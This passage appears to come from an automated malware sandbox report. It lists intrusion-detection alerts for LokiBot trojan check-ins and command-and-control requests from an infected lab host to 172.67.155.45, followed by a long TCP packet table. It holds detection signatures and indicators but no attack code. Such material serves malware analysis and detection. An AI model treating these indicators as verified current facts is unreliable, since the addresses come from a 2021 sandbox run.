08/04/21-13:57:15.532513	TCP	2025381	ET TROJAN LokiBot Checkin	49863	80	192.168.2.5	172.67.155.45
08/04/21-13:57:16.050124	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49864	80	192.168.2.5	172.67.155.45
08/04/21-13:57:16.050124	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49864	80	192.168.2.5	172.67.155.45
08/04/21-13:57:16.050124	TCP	2025381	ET TROJAN LokiBot Checkin	49864	80	192.168.2.5	172.67.155.45
08/04/21-13:57:16.549231	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49865	80	192.168.2.5	172.67.155.45
08/04/21-13:57:16.549231	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49865	80	192.168.2.5	172.67.155.45
08/04/21-13:57:16.549231	TCP	2025381	ET TROJAN LokiBot Checkin	49865	80	192.168.2.5	172.67.155.45
08/04/21-13:57:17.223494	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49866	80	192.168.2.5	172.67.155.45
08/04/21-13:57:17.223494	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49866	80	192.168.2.5	172.67.155.45
08/04/21-13:57:17.223494	TCP	2025381	ET TROJAN LokiBot Checkin	49866	80	192.168.2.5	172.67.155.45
08/04/21-13:57:17.715693	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49867	80	192.168.2.5	172.67.155.45
08/04/21-13:57:17.715693	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49867	80	192.168.2.5	172.67.155.45
08/04/21-13:57:17.715693	TCP	2025381	ET TROJAN LokiBot Checkin	49867	80	192.168.2.5	172.67.155.45
08/04/21-13:57:18.222463	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49868	80	192.168.2.5	172.67.155.45
08/04/21-13:57:18.222463	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49868	80	192.168.2.5	172.67.155.45
08/04/21-13:57:18.222463	TCP	2025381	ET TROJAN LokiBot Checkin	49868	80	192.168.2.5	172.67.155.45
08/04/21-13:57:18.717029	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49869	80	192.168.2.5	172.67.155.45
08/04/21-13:57:18.717029	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49869	80	192.168.2.5	172.67.155.45
08/04/21-13:57:18.717029	TCP	2025381	ET TROJAN LokiBot Checkin	49869	80	192.168.2.5	172.67.155.45
08/04/21-13:57:20.204842	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49870	80	192.168.2.5	172.67.155.45
08/04/21-13:57:20.204842	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49870	80	192.168.2.5	172.67.155.45
08/04/21-13:57:20.204842	TCP	2025381	ET TROJAN LokiBot Checkin	49870	80	192.168.2.5	172.67.155.45

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Aug 4, 2021 13:55:50.826023102 CEST	49712	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:55:50.842932940 CEST	80	49712	172.67.155.45	192.168.2.5
Aug 4, 2021 13:55:50.843131065 CEST	49712	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:55:50.846349001 CEST	49712	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:55:50.864522934 CEST	80	49712	172.67.155.45	192.168.2.5
Aug 4, 2021 13:55:50.864670038 CEST	49712	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:55:50.881462097 CEST	80	49712	172.67.155.45	192.168.2.5
Aug 4, 2021 13:55:51.103398085 CEST	80	49712	172.67.155.45	192.168.2.5
Aug 4, 2021 13:55:51.103566885 CEST	80	49712	172.67.155.45	192.168.2.5
Aug 4, 2021 13:55:51.103579998 CEST	49712	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:55:51.103617907 CEST	49712	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:55:51.120522976 CEST	80	49712	172.67.155.45	192.168.2.5
Aug 4, 2021 13:55:51.388283968 CEST	49713	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:55:51.406883001 CEST	80	49713	172.67.155.45	192.168.2.5
Aug 4, 2021 13:55:51.406965971 CEST	49713	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:55:51.410424948 CEST	49713	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:55:51.427376986 CEST	80	49713	172.67.155.45	192.168.2.5
Aug 4, 2021 13:55:51.427464008 CEST	49713	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:55:51.444508076 CEST	80	49713	172.67.155.45	192.168.2.5
Aug 4, 2021 13:55:51.687743902 CEST	80	49713	172.67.155.45	192.168.2.5
Aug 4, 2021 13:55:51.687771082 CEST	80	49713	172.67.155.45	192.168.2.5
Aug 4, 2021 13:55:51.687902927 CEST	49713	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:55:51.687982082 CEST	49713	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:55:51.704930067 CEST	80	49713	172.67.155.45	192.168.2.5
Aug 4, 2021 13:55:51.836391926 CEST	49714	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:55:51.855257034 CEST	80	49714	172.67.155.45	192.168.2.5
Aug 4, 2021 13:55:51.855407000 CEST	49714	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:55:51.858208895 CEST	49714	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:55:51.874859095 CEST	80	49714	172.67.155.45	192.168.2.5
Aug 4, 2021 13:55:51.875483036 CEST	49714	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:55:51.891976118 CEST	80	49714	172.67.155.45	192.168.2.5
Aug 4, 2021 13:55:52.120248079 CEST	80	49714	172.67.155.45	192.168.2.5
Aug 4, 2021 13:55:52.120311975 CEST	80	49714	172.67.155.45	192.168.2.5
Aug 4, 2021 13:55:52.120436907 CEST	49714	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:55:52.120624065 CEST	49714	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:55:52.137190104 CEST	80	49714	172.67.155.45	192.168.2.5
Aug 4, 2021 13:55:52.457307100 CEST	49715	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:55:52.474427938 CEST	80	49715	172.67.155.45	192.168.2.5
Aug 4, 2021 13:55:52.474908113 CEST	49715	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:55:52.481426954 CEST	49715	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:55:52.498246908 CEST	80	49715	172.67.155.45	192.168.2.5
Aug 4, 2021 13:55:52.498702049 CEST	49715	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:55:52.515512943 CEST	80	49715	172.67.155.45	192.168.2.5
Aug 4, 2021 13:55:52.736490011 CEST	80	49715	172.67.155.45	192.168.2.5
Aug 4, 2021 13:55:52.736531973 CEST	80	49715	172.67.155.45	192.168.2.5
Aug 4, 2021 13:55:52.736665964 CEST	49715	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:55:52.736733913 CEST	49715	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:55:52.754193068 CEST	80	49715	172.67.155.45	192.168.2.5
Aug 4, 2021 13:55:53.002720118 CEST	49716	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:55:53.019499063 CEST	80	49716	172.67.155.45	192.168.2.5
Aug 4, 2021 13:55:53.021537066 CEST	49716	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:55:53.024467945 CEST	49716	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:55:53.041098118 CEST	80	49716	172.67.155.45	192.168.2.5
Aug 4, 2021 13:55:53.041523933 CEST	49716	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:55:53.058206081 CEST	80	49716	172.67.155.45	192.168.2.5
Aug 4, 2021 13:55:53.288479090 CEST	80	49716	172.67.155.45	192.168.2.5
Aug 4, 2021 13:55:53.288546085 CEST	80	49716	172.67.155.45	192.168.2.5
Aug 4, 2021 13:55:53.288669109 CEST	49716	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:55:53.288759947 CEST	49716	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:55:53.305437088 CEST	80	49716	172.67.155.45	192.168.2.5
Aug 4, 2021 13:55:53.562544107 CEST	49717	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:55:53.581434965 CEST	80	49717	172.67.155.45	192.168.2.5
Aug 4, 2021 13:55:53.582235098 CEST	49717	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:55:53.585954905 CEST	49717	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:55:53.604235888 CEST	80	49717	172.67.155.45	192.168.2.5
Aug 4, 2021 13:55:53.604326010 CEST	49717	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:55:53.622409105 CEST	80	49717	172.67.155.45	192.168.2.5
Aug 4, 2021 13:55:53.836869001 CEST	80	49717	172.67.155.45	192.168.2.5
Aug 4, 2021 13:55:53.837027073 CEST	49717	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:55:53.837131977 CEST	80	49717	172.67.155.45	192.168.2.5
Aug 4, 2021 13:55:53.837196112 CEST	49717	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:55:53.855108976 CEST	80	49717	172.67.155.45	192.168.2.5
Aug 4, 2021 13:55:54.095983028 CEST	49718	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:55:54.113017082 CEST	80	49718	172.67.155.45	192.168.2.5
Aug 4, 2021 13:55:54.113250017 CEST	49718	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:55:54.118803978 CEST	49718	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:55:54.136673927 CEST	80	49718	172.67.155.45	192.168.2.5
Aug 4, 2021 13:55:54.136785984 CEST	49718	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:55:54.155235052 CEST	80	49718	172.67.155.45	192.168.2.5
Aug 4, 2021 13:55:54.377213001 CEST	80	49718	172.67.155.45	192.168.2.5
Aug 4, 2021 13:55:54.377247095 CEST	80	49718	172.67.155.45	192.168.2.5
Aug 4, 2021 13:55:54.377429962 CEST	80	49718	172.67.155.45	192.168.2.5
Aug 4, 2021 13:55:54.377566099 CEST	49718	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:55:54.377609015 CEST	49718	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:55:54.377615929 CEST	49718	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:55:54.634757042 CEST	49719	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:55:54.651454926 CEST	80	49719	172.67.155.45	192.168.2.5
Aug 4, 2021 13:55:54.651624918 CEST	49719	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:55:54.656661987 CEST	49719	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:55:54.673352957 CEST	80	49719	172.67.155.45	192.168.2.5
Aug 4, 2021 13:55:54.673470974 CEST	49719	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:55:54.690193892 CEST	80	49719	172.67.155.45	192.168.2.5
Aug 4, 2021 13:55:54.923356056 CEST	80	49719	172.67.155.45	192.168.2.5
Aug 4, 2021 13:55:54.923485041 CEST	49719	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:55:54.923497915 CEST	80	49719	172.67.155.45	192.168.2.5
Aug 4, 2021 13:55:54.923557997 CEST	49719	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:55:54.941832066 CEST	80	49719	172.67.155.45	192.168.2.5
Aug 4, 2021 13:55:55.208712101 CEST	49720	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:55:55.227320910 CEST	80	49720	172.67.155.45	192.168.2.5
Aug 4, 2021 13:55:55.227425098 CEST	49720	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:55:55.230170965 CEST	49720	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:55:55.246814966 CEST	80	49720	172.67.155.45	192.168.2.5
Aug 4, 2021 13:55:55.246905088 CEST	49720	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:55:55.264101982 CEST	80	49720	172.67.155.45	192.168.2.5
Aug 4, 2021 13:55:55.490798950 CEST	80	49720	172.67.155.45	192.168.2.5
Aug 4, 2021 13:55:55.490885019 CEST	49720	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:55:55.491862059 CEST	80	49720	172.67.155.45	192.168.2.5
Aug 4, 2021 13:55:55.491923094 CEST	49720	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:55:55.507620096 CEST	80	49720	172.67.155.45	192.168.2.5
Aug 4, 2021 13:55:55.754277945 CEST	49721	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:55:55.770962954 CEST	80	49721	172.67.155.45	192.168.2.5
Aug 4, 2021 13:55:55.771100044 CEST	49721	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:55:55.774218082 CEST	49721	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:55:55.790771961 CEST	80	49721	172.67.155.45	192.168.2.5
Aug 4, 2021 13:55:55.790851116 CEST	49721	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:55:55.808619976 CEST	80	49721	172.67.155.45	192.168.2.5
Aug 4, 2021 13:55:56.054462910 CEST	80	49721	172.67.155.45	192.168.2.5
Aug 4, 2021 13:55:56.054559946 CEST	80	49721	172.67.155.45	192.168.2.5
Aug 4, 2021 13:55:56.054666996 CEST	49721	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:55:56.054688931 CEST	49721	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:55:56.071343899 CEST	80	49721	172.67.155.45	192.168.2.5
Aug 4, 2021 13:55:56.323549032 CEST	49722	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:55:56.340327978 CEST	80	49722	172.67.155.45	192.168.2.5
Aug 4, 2021 13:55:56.341903925 CEST	49722	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:55:56.345642090 CEST	49722	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:55:56.362471104 CEST	80	49722	172.67.155.45	192.168.2.5
Aug 4, 2021 13:55:56.362569094 CEST	49722	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:55:56.379303932 CEST	80	49722	172.67.155.45	192.168.2.5
Aug 4, 2021 13:55:56.610239029 CEST	80	49722	172.67.155.45	192.168.2.5
Aug 4, 2021 13:55:56.610382080 CEST	49722	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:55:56.614063978 CEST	80	49722	172.67.155.45	192.168.2.5
Aug 4, 2021 13:55:56.614197969 CEST	49722	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:55:56.628462076 CEST	80	49722	172.67.155.45	192.168.2.5
Aug 4, 2021 13:55:56.909862041 CEST	49723	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:55:56.926616907 CEST	80	49723	172.67.155.45	192.168.2.5
Aug 4, 2021 13:55:56.926775932 CEST	49723	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:55:56.929677963 CEST	49723	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:55:56.946952105 CEST	80	49723	172.67.155.45	192.168.2.5
Aug 4, 2021 13:55:56.947094917 CEST	49723	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:55:56.963897943 CEST	80	49723	172.67.155.45	192.168.2.5
Aug 4, 2021 13:55:57.186352015 CEST	80	49723	172.67.155.45	192.168.2.5
Aug 4, 2021 13:55:57.186674118 CEST	80	49723	172.67.155.45	192.168.2.5
Aug 4, 2021 13:55:57.186827898 CEST	49723	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:55:57.186846018 CEST	49723	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:55:57.204488039 CEST	80	49723	172.67.155.45	192.168.2.5
Aug 4, 2021 13:55:57.463246107 CEST	49724	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:55:57.480074883 CEST	80	49724	172.67.155.45	192.168.2.5
Aug 4, 2021 13:55:57.480195999 CEST	49724	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:55:57.483325005 CEST	49724	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:55:57.500078917 CEST	80	49724	172.67.155.45	192.168.2.5
Aug 4, 2021 13:55:57.501907110 CEST	49724	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:55:57.518523932 CEST	80	49724	172.67.155.45	192.168.2.5
Aug 4, 2021 13:55:57.748261929 CEST	80	49724	172.67.155.45	192.168.2.5
Aug 4, 2021 13:55:57.748301029 CEST	80	49724	172.67.155.45	192.168.2.5
Aug 4, 2021 13:55:57.748435974 CEST	49724	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:55:57.748472929 CEST	49724	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:55:57.767232895 CEST	80	49724	172.67.155.45	192.168.2.5
Aug 4, 2021 13:55:58.022381067 CEST	49726	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:55:58.041027069 CEST	80	49726	172.67.155.45	192.168.2.5
Aug 4, 2021 13:55:58.041239023 CEST	49726	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:55:58.049043894 CEST	49726	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:55:58.065877914 CEST	80	49726	172.67.155.45	192.168.2.5
Aug 4, 2021 13:55:58.065952063 CEST	49726	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:55:58.082796097 CEST	80	49726	172.67.155.45	192.168.2.5
Aug 4, 2021 13:55:58.305253983 CEST	80	49726	172.67.155.45	192.168.2.5
Aug 4, 2021 13:55:58.305321932 CEST	80	49726	172.67.155.45	192.168.2.5
Aug 4, 2021 13:55:58.305439949 CEST	49726	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:55:58.305586100 CEST	49726	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:55:58.323434114 CEST	80	49726	172.67.155.45	192.168.2.5
Aug 4, 2021 13:55:58.730485916 CEST	49727	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:55:58.748873949 CEST	80	49727	172.67.155.45	192.168.2.5
Aug 4, 2021 13:55:58.748984098 CEST	49727	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:55:58.751905918 CEST	49727	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:55:58.770142078 CEST	80	49727	172.67.155.45	192.168.2.5
Aug 4, 2021 13:55:58.770642996 CEST	49727	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:55:58.788702965 CEST	80	49727	172.67.155.45	192.168.2.5
Aug 4, 2021 13:55:59.003463030 CEST	80	49727	172.67.155.45	192.168.2.5
Aug 4, 2021 13:55:59.003506899 CEST	80	49727	172.67.155.45	192.168.2.5
Aug 4, 2021 13:55:59.003624916 CEST	49727	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:55:59.003648996 CEST	49727	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:55:59.022617102 CEST	80	49727	172.67.155.45	192.168.2.5
Aug 4, 2021 13:55:59.298021078 CEST	49728	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:55:59.316941023 CEST	80	49728	172.67.155.45	192.168.2.5
Aug 4, 2021 13:55:59.318065882 CEST	49728	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:55:59.320929050 CEST	49728	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:55:59.339910030 CEST	80	49728	172.67.155.45	192.168.2.5
Aug 4, 2021 13:55:59.340367079 CEST	49728	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:55:59.358719110 CEST	80	49728	172.67.155.45	192.168.2.5
Aug 4, 2021 13:55:59.578305960 CEST	80	49728	172.67.155.45	192.168.2.5
Aug 4, 2021 13:55:59.578550100 CEST	80	49728	172.67.155.45	192.168.2.5
Aug 4, 2021 13:55:59.578686953 CEST	49728	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:55:59.737457037 CEST	49728	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:55:59.755703926 CEST	80	49728	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:00.004076958 CEST	49729	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:00.023389101 CEST	80	49729	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:00.023626089 CEST	49729	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:00.026581049 CEST	49729	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:00.043320894 CEST	80	49729	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:00.043401957 CEST	49729	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:00.059995890 CEST	80	49729	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:00.286812067 CEST	80	49729	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:00.286839962 CEST	80	49729	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:00.286984921 CEST	49729	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:00.361795902 CEST	49729	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:00.378849983 CEST	80	49729	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:01.615420103 CEST	49730	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:01.632255077 CEST	80	49730	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:01.632371902 CEST	49730	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:01.635390997 CEST	49730	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:01.653752089 CEST	80	49730	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:01.653836012 CEST	49730	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:01.671902895 CEST	80	49730	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:01.981302023 CEST	80	49730	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:01.981465101 CEST	49730	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:01.981584072 CEST	80	49730	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:01.981682062 CEST	49730	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:01.998358965 CEST	80	49730	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:02.299890995 CEST	49731	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:02.316781998 CEST	80	49731	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:02.316927910 CEST	49731	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:02.324686050 CEST	49731	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:02.341517925 CEST	80	49731	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:02.341677904 CEST	49731	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:02.358513117 CEST	80	49731	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:02.623756886 CEST	80	49731	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:02.623909950 CEST	49731	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:02.623992920 CEST	80	49731	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:02.624061108 CEST	49731	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:02.640726089 CEST	80	49731	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:02.892565012 CEST	49732	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:02.909336090 CEST	80	49732	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:02.910388947 CEST	49732	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:02.913959980 CEST	49732	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:02.930735111 CEST	80	49732	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:02.932147026 CEST	49732	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:02.948935032 CEST	80	49732	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:03.194773912 CEST	80	49732	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:03.195219994 CEST	80	49732	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:03.195277929 CEST	49732	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:03.195302963 CEST	49732	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:03.211998940 CEST	80	49732	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:03.463711977 CEST	49733	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:03.480317116 CEST	80	49733	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:03.480525017 CEST	49733	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:03.484245062 CEST	49733	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:03.502047062 CEST	80	49733	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:03.502290010 CEST	49733	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:03.519865036 CEST	80	49733	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:03.747203112 CEST	80	49733	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:03.747490883 CEST	49733	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:03.747529030 CEST	80	49733	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:03.747684956 CEST	49733	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:03.764214039 CEST	80	49733	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:04.036248922 CEST	49734	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:04.053154945 CEST	80	49734	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:04.053472042 CEST	49734	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:04.061125040 CEST	49734	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:04.077946901 CEST	80	49734	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:04.078149080 CEST	49734	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:04.094980001 CEST	80	49734	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:04.329885006 CEST	80	49734	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:04.330003023 CEST	80	49734	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:04.330161095 CEST	49734	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:04.348860979 CEST	80	49734	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:04.628730059 CEST	49735	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:04.648312092 CEST	80	49735	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:04.648533106 CEST	49735	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:04.652287960 CEST	49735	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:04.670624018 CEST	80	49735	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:04.670726061 CEST	49735	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:04.689563036 CEST	80	49735	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:04.922898054 CEST	80	49735	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:04.923041105 CEST	80	49735	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:04.923325062 CEST	49735	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:04.923393011 CEST	49735	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:04.940262079 CEST	80	49735	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:05.215627909 CEST	49736	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:05.232237101 CEST	80	49736	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:05.232336044 CEST	49736	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:05.239965916 CEST	49736	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:05.256778002 CEST	80	49736	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:05.256995916 CEST	49736	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:05.273570061 CEST	80	49736	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:05.495554924 CEST	80	49736	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:05.495660067 CEST	80	49736	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:05.495659113 CEST	49736	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:05.495742083 CEST	49736	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:05.513061047 CEST	80	49736	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:05.775655985 CEST	49737	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:05.793648958 CEST	80	49737	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:05.793762922 CEST	49737	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:05.797017097 CEST	49737	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:05.815637112 CEST	80	49737	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:05.815701008 CEST	49737	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:05.834506989 CEST	80	49737	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:06.054702997 CEST	80	49737	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:06.054737091 CEST	80	49737	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:06.054847956 CEST	49737	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:06.054982901 CEST	49737	80	192.168.2.5	172.67.155.45
